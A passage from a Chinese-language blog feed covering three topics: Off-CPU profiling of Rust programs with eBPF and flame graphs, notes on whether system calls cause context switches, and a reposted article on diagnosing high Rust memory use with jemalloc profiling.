&lt;p&gt;加入&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;的信息后就可以通过&lt;code&gt;--call-graph=fp&lt;&#x2F;code&gt;来打印函数的调用栈。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;DWARF&lt;&#x2F;code&gt;是被广泛使用的调试格式，&lt;code&gt;Rust&lt;&#x2F;code&gt;编译器默认加入了&lt;code&gt;DWARF&lt;&#x2F;code&gt;调试信息，&lt;code&gt;DWARF&lt;&#x2F;code&gt;格式提供了各种调试信息，在帮助函数调用栈展开方面，编译器会插入&lt;code&gt;CFI(Call Frame Information)&lt;&#x2F;code&gt;指令来标记&lt;code&gt;CFA(Canonical Frame Address)&lt;&#x2F;code&gt;，&lt;code&gt;CFA&lt;&#x2F;code&gt;指的是调用函数在&lt;code&gt;call&lt;&#x2F;code&gt;被调函数前&lt;code&gt;ESP&lt;&#x2F;code&gt;的地址。通过&lt;code&gt;CFA&lt;&#x2F;code&gt;再加上预先生成的调试信息，就可以解析出完整的函数调用栈信息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;off-cpuxing-neng-fen-xi&quot;&gt;Off-CPU性能分析&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;性能分析与&lt;code&gt;On-CPU&lt;&#x2F;code&gt;性能分析是互补的关系。&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;性能分析是为了分析进程花在等待上的时间，等待包括被&lt;code&gt;I&#x2F;O&lt;&#x2F;code&gt;请求阻塞，等待锁，等待timer，等等。有很多可以做&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;性能分析的工具，这里我们使用&lt;code&gt;eBPF&lt;&#x2F;code&gt;的前端工具包bcc中的&lt;code&gt;offcputime-bpfcc&lt;&#x2F;code&gt;工具。这个工具的原理是在每一次内核调用&lt;code&gt;finish_task_switch()&lt;&#x2F;code&gt;函数完成任务切换的时候记录上一个进程被调度离开&lt;code&gt;CPU&lt;&#x2F;code&gt;的时间戳和当前进程被调度到&lt;code&gt;CPU&lt;&#x2F;code&gt;的时间戳，那么一个进程离开&lt;code&gt;CPU&lt;&#x2F;code&gt;到下一次进入&lt;code&gt;CPU&lt;&#x2F;code&gt;的时间差即为&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;的时间。为了模拟&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;的场景我们需要修改一下我们的测试程序，需要使用debug编译，因为&lt;code&gt;offcputime-bpfcc&lt;&#x2F;code&gt;依赖于&lt;code&gt;frame pointer&lt;&#x2F;code&gt;来进行栈展开，所以我们需要开启&lt;code&gt;RUSTFLAGS=&quot;-C force-frame-pointers=yes&quot;&lt;&#x2F;code&gt;的编译选项，程序如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;use std::io::Read;
fn test1() {
    std::thread::sleep(std::time::Duration::from_nanos(200));
}
fn test2() {
    let mut f = std::fs::File::open(&amp;quot;.&amp;#x2F;1.txt&amp;quot;).unwrap();
    let mut buffer = Vec::new();
    f.read_to_end(&amp;amp;mut buffer).unwrap();
}
fn main() {
    loop {
        test1();
        test2();
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序中一共有两种会导致进程被调度出&lt;code&gt;CPU&lt;&#x2F;code&gt;的任务，一个是&lt;code&gt;test1()&lt;&#x2F;code&gt;函数中的&lt;code&gt;sleep()&lt;&#x2F;code&gt;，一个是在&lt;code&gt;test2()&lt;&#x2F;code&gt;函数中的读文件操作。这里我们需要开启&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;编译选项以便打印出用户态的函数栈。我们使用如下的命令获取&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;的分析数据，&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ .&amp;#x2F;target&amp;#x2F;debug&amp;#x2F;mytest &amp;amp;
$ sudo offcputime-bpfcc -p `pgrep -nx mytest` 5
    .......
    b&amp;#x27;finish_task_switch&amp;#x27;
    b&amp;#x27;preempt_schedule_common&amp;#x27;
    b&amp;#x27;_cond_resched&amp;#x27;
    b&amp;#x27;copy_page_to_iter&amp;#x27;
    b&amp;#x27;generic_file_buffered_read&amp;#x27;
    b&amp;#x27;generic_file_read_iter&amp;#x27;
    b&amp;#x27;ext4_file_read_iter&amp;#x27;
    b&amp;#x27;new_sync_read&amp;#x27;
    b&amp;#x27;vfs_read&amp;#x27;
    b&amp;#x27;ksys_read&amp;#x27;
    b&amp;#x27;__x64_sys_read&amp;#x27;
    b&amp;#x27;do_syscall_64&amp;#x27;
    b&amp;#x27;entry_SYSCALL_64_after_hwframe&amp;#x27;
    b&amp;#x27;__libc_read&amp;#x27;
    b&amp;#x27;std::io::read_to_end::hca106f474265a4d9&amp;#x27;
    b&amp;#x27;std::io::Read::read_to_end::h4105ec7c4491a6c4&amp;#x27;
    b&amp;#x27;mytest::test2::hc2f1d4e3e237302e&amp;#x27;
    b&amp;#x27;mytest::main::h9ce3eef790671359&amp;#x27;
    b&amp;#x27;core::ops::function::FnOnce::call_once::hac091ad4a6fe651c&amp;#x27;
    b&amp;#x27;std::sys_common::backtrace::__rust_begin_short_backtrace::h071a56f0a04107d5&amp;#x27;
    b&amp;#x27;std::rt::lang_start::_$u7b$$u7b$closure$u7d$$u7d$::hc491d6fbd79f86bd&amp;#x27;
    b&amp;#x27;std::rt::lang_start_internal::h73711f37ecfcb277&amp;#x27;
    b&amp;#x27;[unknown]&amp;#x27;
    -                mytest (179236)
        52    b&amp;#x27;finish_task_switch&amp;#x27;
    b&amp;#x27;schedule&amp;#x27;
    b&amp;#x27;do_nanosleep&amp;#x27;
    b&amp;#x27;hrtimer_nanosleep&amp;#x27;
    b&amp;#x27;common_nsleep&amp;#x27;
    b&amp;#x27;__x64_sys_clock_nanosleep&amp;#x27;
    b&amp;#x27;do_syscall_64&amp;#x27;
    b&amp;#x27;entry_SYSCALL_64_after_hwframe&amp;#x27;
    b&amp;#x27;clock_nanosleep&amp;#x27;
    -                mytest (179236)
        1093
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里只截取了最后两个函数栈，输出显示有52ms的&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;时间在等待文件读取的&lt;code&gt;syscall&lt;&#x2F;code&gt;，有1092ms的&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;时间在等待&lt;code&gt;sleep&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huo-yan-tu-1&quot;&gt;&lt;strong&gt;火焰图&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;性能分析的结果同样可以用火焰图进行可视化处理，命令如下，&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;brendangregg&amp;#x2F;FlameGraph
$ cd FlameGraph
$ sudo offcputime-bpfcc -df -p `pgrep -nx mytest` 3 &amp;gt; out.stacks
$ .&amp;#x2F;flamegraph.pl --color=io --title=&amp;quot;Off-CPU Time Flame Graph&amp;quot; --countname=us &amp;lt; out.stacks &amp;gt; out.svg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的火焰图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-profiling&#x2F;off-cpu-flamegraph.webp&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;与&lt;code&gt;On-CPU&lt;&#x2F;code&gt;的火焰图相同，纵轴代表了函数调用栈，横轴代表了&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;时间的比例，跨度越大代表&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;的时间越长。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;本文介绍了如何对&lt;code&gt;Rust&lt;&#x2F;code&gt;程序进行&lt;code&gt;On-CPU&lt;&#x2F;code&gt;和&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;的性能分析，两者相结合就实现了对一个程序100%运行时间的分析。至此我们对程序的性能有了初步的理解，进而可以通过更加具体的工具和编写&lt;code&gt;profiling&lt;&#x2F;code&gt;程序来对我们关心的点进行更深入的分析。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-yin-yong&quot;&gt;参考引用&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.brendangregg.com&#x2F;FlameGraphs&#x2F;offcpuflamegraphs.html&quot;&gt;https:&#x2F;&#x2F;www.brendangregg.com&#x2F;FlameGraphs&#x2F;offcpuflamegraphs.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.brendangregg.com&#x2F;FlameGraphs&#x2F;cpuflamegraphs.html&quot;&gt;https:&#x2F;&#x2F;www.brendangregg.com&#x2F;FlameGraphs&#x2F;cpuflamegraphs.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Function&quot;&gt;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Function&lt;&#x2F;a&gt;_prologue_and_epilogue&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>系统调用会引起CPU上下文切换吗？ · Issue #5 · Talk-Go-CSAPP-05Discusion</title>
        <published>2024-05-18T00:00:00+00:00</published>
        <updated>2024-05-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/系统调用会引起cpu上下文切换吗-issue-5-talk-go-csapp-05discusion/"/>
        <id>https://vercel.juzhong.asia/obsidian/系统调用会引起cpu上下文切换吗-issue-5-talk-go-csapp-05discusion/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/系统调用会引起cpu上下文切换吗-issue-5-talk-go-csapp-05discusion/">&lt;h1 id=&quot;xi-tong-diao-yong-hui-yin-qi-cpushang-xia-wen-qie-huan-ma-issue-5-talk-go-csapp-05discusion&quot;&gt;系统调用会引起CPU上下文切换吗？ · Issue #5 · Talk-Go-CSAPP-05Discusion&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yao-ming-que-xi-tong-diao-yong-de-mu-de-xi-tong-diao-yong-de-han-shu-de-zuo-yong&quot;&gt;要明确系统调用的目的&#x2F;系统调用的函数的作用&lt;&#x2F;h2&gt;
&lt;p&gt;解释: 调用系统调用就是为了切换进程,那自然就会引起context switch&lt;&#x2F;p&gt;
&lt;p&gt;例子1: 示例场景中有两个并发的进程,shell进程和hello进程,最开始只有shell进程在运行,即等待命令行上的输入. 当我们让它运行hello程序时,shell通过调用一个专门的函数,即&lt;strong&gt;系统调用&lt;&#x2F;strong&gt;,来执行我们的请求,系统调用会将控制权传递给操作系统, 操作系统保存shell进程的上下文,创建一个新的hell进程及其上下文,然后将控制权传给新的hello进程, hello进程终止后,操作系统恢复shell进程的上下文, 并将控制权传回给它.&lt;sup&gt;csappP12&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;p&gt;例子二: 一个用于获取系统时间的 system call &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Talk-Go-CSAPP-05&#x2F;Discusion&#x2F;issues&#x2F;5#issuecomment-692029936&quot;&gt;详见&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;9238326&#x2F;system-call-and-context-switch&quot;&gt;system-call-and-context-switch&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章有两个例子：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一个用于获取系统时间的 system call ， 是否会造成上下文切换&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个用于 IO 场景，会被阻塞的 system call， 是否造成上下文切换&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;You need to understand that a thread&#x2F;process context has multiple parts, one, directly associated with execution and is held in the CPU and certain system tables in memory that the CPU uses (e.g. page tables), and the other, which is needed for the OS, for bookkeeping (think of the various IDs, handles, special OS-specific permissions, network connections and such).&lt;&#x2F;p&gt;
&lt;p&gt;A full context switch would involve swapping both of these, the old current thread&#x2F;process goes away for a while and the new current thread&#x2F;process comes in for a while. That&#x27;s the essence of thread&#x2F;process scheduling.&lt;&#x2F;p&gt;
&lt;p&gt;Now, system calls are very different w.r.t. each other.&lt;&#x2F;p&gt;
&lt;p&gt;Consider something simple, for example, the system call for requesting the current date and time. The CPU switches from the user to kernel mode, preserving the user-mode register values, executes some kernel code to get the necessary data, stores it either in the memory or registers that the caller can access, restores the user-mode register values and returns. There&#x27;s not much of context switch in here, only what&#x27;s needed for the transition between the modes, user and kernel.&lt;&#x2F;p&gt;
&lt;p&gt;Consider now a system call that involves blocking of the caller until some event or availability of data. Manipulating mutexes and reading files would be examples of such system calls. In this case the kernel is forced to save the full context of the caller, mark it as blocked so the scheduler can&#x27;t run it until that event or data arrives, and load the context of another ready thread&#x2F;process, so it can run.&lt;&#x2F;p&gt;
&lt;p&gt;That&#x27;s how system calls are related to context switches.&lt;&#x2F;p&gt;
&lt;p&gt;Kernel executing in the context of a user or a process means that whenever the kernel does work on behalf of a certain process or user it has to take into consideration that user&#x27;s&#x2F;process&#x27;s context, e.g. the current process&#x2F;thread&#x2F;user ID, the current directory, locale, access permissions for various resources (e.g. files), all that stuff, that can be different between different processes&#x2F;threads&#x2F;users.&lt;&#x2F;p&gt;
&lt;p&gt;If processes have individual address spaces, the address spaces is also part of the process context. So, when the kernel needs to access memory of a process (to read&#x2F;write file data or network packets), it has to have access to the process&#x27; address space, IOW, it has to be in its context (it doesn&#x27;t mean, however, that the kernel has to load the full context just to access memory in a specific address space).&lt;&#x2F;p&gt;
&lt;p&gt;Is that helpful?&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;总结：这两者的&lt;strong&gt;上下文切换&lt;&#x2F;strong&gt;，是否都是同一流程？&lt;&#x2F;p&gt;
&lt;p&gt;主要注意的是：&lt;&#x2F;p&gt;
&lt;p&gt;进程上下文切换，是指从一个进程切换到另一个进程运行
而系统调用过程中一直是同一个进程在运行&lt;&#x2F;p&gt;
&lt;p&gt;系统调用过程通常称为特权模式切换，而不是上下文切换。
当进程调用系统调用或者发生中断时，CPU从用户模式（用户态）切换成内核模式（内核态），此时，无论是系统调用程序还是中断服务程序，都处于当前进程的上下文中，并没有发生进程上下文切换。&lt;&#x2F;p&gt;
&lt;p&gt;当系统调用或中断处理程序返回时，CPU要从内核模式切换回用户模式，此时会执行操作系统的调用程序。如果发现就需队列中有比当前进程更高的优先级的进程，则会发生进程切换：
当前进程信息被保存，切换到就绪队列中的那个高优先级进程；否则，直接返回当前进程的用户模式，不会发生上下文切换。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>蚂蚁集团 ｜ 如何在生产环境排查 Rust 内存占用过高问题</title>
        <published>2024-05-18T00:00:00+00:00</published>
        <updated>2024-05-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/蚂蚁集团-如何在生产环境排查-rust-内存占用过高问题/"/>
        <id>https://vercel.juzhong.asia/obsidian/蚂蚁集团-如何在生产环境排查-rust-内存占用过高问题/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/蚂蚁集团-如何在生产环境排查-rust-内存占用过高问题/">&lt;h1 id=&quot;ma-yi-ji-tuan-ru-he-zai-sheng-chan-huan-jing-pai-cha-rust-nei-cun-zhan-yong-guo-gao-wen-ti&quot;&gt;蚂蚁集团 ｜ 如何在生产环境排查 Rust 内存占用过高问题&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ma-yi-ji-tuan-ru-he-zai-sheng-chan-huan-jing-pai-cha-rust-nei-cun-zhan-yong-guo-gao-wen-ti-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E8%9A%82%E8%9A%81%E9%9B%86%E5%9B%A2--%E5%A6%82%E4%BD%95%E5%9C%A8%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E6%8E%92%E6%9F%A5-rust-%E5%86%85%E5%AD%98%E5%8D%A0%E7%94%A8%E8%BF%87%E9%AB%98%E9%97%AE%E9%A2%98&quot;&gt;蚂蚁集团 ｜ 如何在生产环境排查 Rust 内存占用过高问题&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;作者：ShiKaiWi &#x2F; 后期编辑： 张汉东&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E8%83%8C%E6%99%AF&quot;&gt;背景&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;内存安全的 Rust，虽然基本不会出现内存泄漏，但如何合理分配内存，是每个复杂应用都要面临的问题。往往随着业务的不同，相同的代码可能会产生不同的内存占用，因此，有不小的概率会出现内存使用过多、内存逐渐增长不释放的问题。&lt;&#x2F;p&gt;
&lt;p&gt;在本文中，我想分享一下，我们在实践过程中，遇到的关于内存占用过高的问题，对于这些内存问题，在本文中，会做出简单的分类以及我们在生产环境下进行排查定位的方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nei-cun-fen-pei-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D%E5%99%A8&quot;&gt;内存分配器&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;首先在生产环境，我们往往不会选择默认的内存分配器（malloc），而是会选择 jemalloc，可以提供更好的多核性能以及更好的避免内存碎片（详细原因可以参考[1]），而在 Rust 的生态中，对于 jemalloc 的封装有很多优秀的库，这里我们就不纠结于哪一个库更好，我们更关心如何使用 jemalloc 提供的分析能力，帮助我们诊断内存问题。&lt;&#x2F;p&gt;
&lt;p&gt;阅读 jemalloc 的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;jemalloc.net&#x2F;jemalloc.3.html#tuning&quot;&gt;使用文档&lt;&#x2F;a&gt;，可以知道其提供了基于采样方式的内存 profile 能力，而且可以通过 &lt;code&gt;mallctl&lt;&#x2F;code&gt; 可以设置 &lt;code&gt;prof.active&lt;&#x2F;code&gt; 和 &lt;code&gt;prof.dump&lt;&#x2F;code&gt; 这两个选项，来达到动态控制内存 profile 的开关和输出内存 profile 信息的效果。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nei-cun-kuai-su-zeng-chang-zhi-zhi-oom&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%86%85%E5%AD%98%E5%BF%AB%E9%80%9F%E5%A2%9E%E9%95%BF%E7%9B%B4%E8%87%B3-oom&quot;&gt;内存快速增长直至 oom&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;这样的情况一般是相同的代码在面对不同的业务场景时会出现，因为某种特定的输入（往往是大量的数据）引起程序的内存快速增长。&lt;&#x2F;p&gt;
&lt;p&gt;不过有了上面提到的 memory profiling 功能，快速的内存增长其实一个非常容易解决的情况，因为我们可以在快速增长的过程中打开 profile 开关，一段时间后，输出 profile 结果，通过相应的工具进行可视化，就可以清楚地了解到哪些函数调用进行了哪些结构的内存分配。&lt;&#x2F;p&gt;
&lt;p&gt;不过这里分为两种情况：可以复现以及难以复现，对于两种情况的处理手段是不一样的，下面对于这两种情况分别给出可操作的方案。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ke-yi-fu-xian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E5%8F%AF%E4%BB%A5%E5%A4%8D%E7%8E%B0&quot;&gt;可以复现&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;可以复现的场景其实是最容易的解决的问题，因为我们可以在复现期间采用动态打开 profile，在短时间内的获得大量的内存分配信息即可。&lt;&#x2F;p&gt;
&lt;p&gt;下面给出一个完整的 demo，展示一下在 Rust 应用中如何进行动态的内存 profile。&lt;&#x2F;p&gt;
&lt;p&gt;本文章，我会采用 &lt;code&gt;jemalloc-sysjemallocatorjemalloc-ctl&lt;&#x2F;code&gt; 这三个 Rust 库来进行内存的 profile，这三个库的功能主要是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jemalloc-sys&lt;&#x2F;code&gt;: 封装 jemalloc。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;jemallocator&lt;&#x2F;code&gt;: 实现了 Rust 的 &lt;code&gt;GlobalAlloc&lt;&#x2F;code&gt;，用来替换默认的内存分配器。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;jemalloc-ctl&lt;&#x2F;code&gt;: 提供了对于 mallctl 的封装，可以用来进行 tuning、动态配置分配器的配置、以及获取分配器的统计信息等。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;下面是 demo 工程的依赖：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[dependencies]
jemallocator = &amp;quot;0.3.2&amp;quot;
jemalloc-ctl = &amp;quot;0.3.2&amp;quot;

[dependencies.jemalloc-sys]
version = &amp;quot;0.3.2&amp;quot;
features = [&amp;quot;stats&amp;quot;, &amp;quot;profiling&amp;quot;, &amp;quot;unprefixed_malloc_on_supported_platforms&amp;quot;]

[profile.release]
debug = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中比较关键的是 &lt;code&gt;jemalloc-sys&lt;&#x2F;code&gt; 的几个 features 需要打开，否则后续的 profile 会遇到失败的情况，另外需要强调的是 demo 的运行环境是在 Linux 环境下运行的。&lt;&#x2F;p&gt;
&lt;p&gt;然后 demo 的 src&#x2F;main.rs 的代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;Rust&quot; class=&quot;language-Rust &quot;&gt;&lt;code class=&quot;language-Rust&quot; data-lang=&quot;Rust&quot;&gt;use jemallocator;
use jemalloc_ctl::{AsName, Access};
use std::collections::HashMap;

#[global_allocator]
static ALLOC: jemallocator::Jemalloc = jemallocator::Jemalloc;

const PROF_ACTIVE: &amp;amp;&amp;#x27;static [u8] = b&amp;quot;prof.active\0&amp;quot;;
const PROF_DUMP: &amp;amp;&amp;#x27;static [u8] = b&amp;quot;prof.dump\0&amp;quot;;
const PROFILE_OUTPUT: &amp;amp;&amp;#x27;static [u8] = b&amp;quot;profile.out\0&amp;quot;;

fn set_prof_active(active: bool) {
    let name = PROF_ACTIVE.name();
    name.write(active).expect(&amp;quot;Should succeed to set prof&amp;quot;);
}

fn dump_profile() {
    let name = PROF_DUMP.name();
    name.write(PROFILE_OUTPUT).expect(&amp;quot;Should succeed to dump profile&amp;quot;)
}

fn main() {
    set_prof_active(true);

    let mut buffers: Vec&amp;lt;HashMap&amp;lt;i32, i32&amp;gt;&amp;gt; = Vec::new();
    for _ in 0..100 {
        buffers.push(HashMap::with_capacity(1024));
    }

    set_prof_active(false);
    dump_profile();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;demo 已经是非常简化的测试用例了，主要做如下的说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;set_prof_active&lt;&#x2F;code&gt; 和 &lt;code&gt;dump_profile&lt;&#x2F;code&gt; 都是通过 jemalloc-ctl 来调用 jemalloc 提供的 mallctl 函数，通过给相应的 key 设置 value 即可，比如这里就是给 &lt;code&gt;prof.active&lt;&#x2F;code&gt; 设置布尔值，给 &lt;code&gt;profile.dump&lt;&#x2F;code&gt; 设置 dump 的文件路径。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;编译完成之后，直接运行程序是不行的，需要设置好环境变量（开启内存 profile 功能）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;export MALLOC_CONF=prof:true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后再运行程序，就会输出一份 memory profile 文件，demo 中文件名字已经写死 —— &lt;code&gt;profile.out&lt;&#x2F;code&gt;，这个是一份文本文件，不利于直接观察（没有直观的 symbol）。&lt;&#x2F;p&gt;
&lt;p&gt;通过 jeprof 等工具，可以直接将其转化成可视化的图形：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;jeprof --show_bytes --pdf &amp;lt;path_to_binary&amp;gt; .&amp;#x2F;profile.out &amp;gt; .&amp;#x2F;profile.pdf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就可以将其可视化，从下图中，我们可以清晰地看到所有的内存来源：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-memory-troubleshooting&#x2F;jeprof-memory-profile-graph.png&quot; alt=&quot;mem-profile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个 demo 的整体流程就完成了，距离应用到生产的话，只差一些 trivial 的工作，下面是我们在生产的实践：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将其封装成 http 服务，可以通过 curl 命令直接触发，将结果通过 http response 返回。&lt;&#x2F;li&gt;
&lt;li&gt;支持设置 profile 时长。&lt;&#x2F;li&gt;
&lt;li&gt;处理并发触发 profile 的情况。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;说到这里，这个方案其实有一个好处一直没有提到，就是它的动态性，因为开启内存 profile 功能，势必是会对性能产生一定的影响（虽然这里开启的影响并不是特别大），我们自然是希望在没有问题的时候，避免开启这个 profile 功能，因此这个动态开关还是非常实用的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;nan-yi-fu-xian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-memory-troubleshootting.html#%E9%9A%BE%E4%BB%A5%E5%A4%8D%E7%8E%B0&quot;&gt;难以复现&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;事实上，可以稳定复现的问题都不是问题，生产上，最麻烦的问题是难以复现的问题，难以复现的问题就像是一个定时炸弹，复现条件很苛刻导致难以精准定位问题，但是问题又会冷不丁地出现，很是让人头疼。&lt;&#x2F;p&gt;
&lt;p&gt;一般对于难以复现的问题，主要的思路是提前准备好保留现场，在问题发生的时候，虽然服务出了问题，但是我们保存了出问题的现场，比如这里的内存占用过多的问题，有一个很不错的思路就是：在 oom 的时候，产生 coredump。&lt;&#x2F;p&gt;
&lt;p&gt;不过我们在生产的实践并没有采用 coredump 这个方法，主要原因是生产环境的服务器节点内存往往较大，产生的 coredump 也非常大，光是产生 coredump 就需要花费不少时间，会影响立刻重启的速度，此外分析、传输、存储都不太方便。&lt;&#x2F;p&gt;
&lt;p&gt;这里介绍一下我们在生产环境下采用的方案，实际上也是非常简单的方法，通过 jemalloc 提供的功能，可以很简单的进行间接性地输出内存 profile 结果。&lt;&#x2F;p&gt;
&lt;p&gt;在启动使用了 jemalloc 的、准备长期运行的程序，使用环境变量设置 jemalloc 参数：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;export MALLOC_CONF=prof:true,lg_prof_interval:30
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的参数增加了一个 &lt;code&gt;lg_prof_interval:30&lt;&#x2F;code&gt;，其含义是内存每增加 1GB（2^30，可以根据需要修改，这里只是一个例子），就输出一份内存 profile，这样随着时间的推移，如果发生了内存的突然增长（超过设置的阈值），那么相应的 profile 一定会产生，那么我们就可以在发生问题的时候，根据文件的创建日期，定位到出问题的时刻，内存究竟发生了什么样的分配。&lt;&#x2F;p&gt;
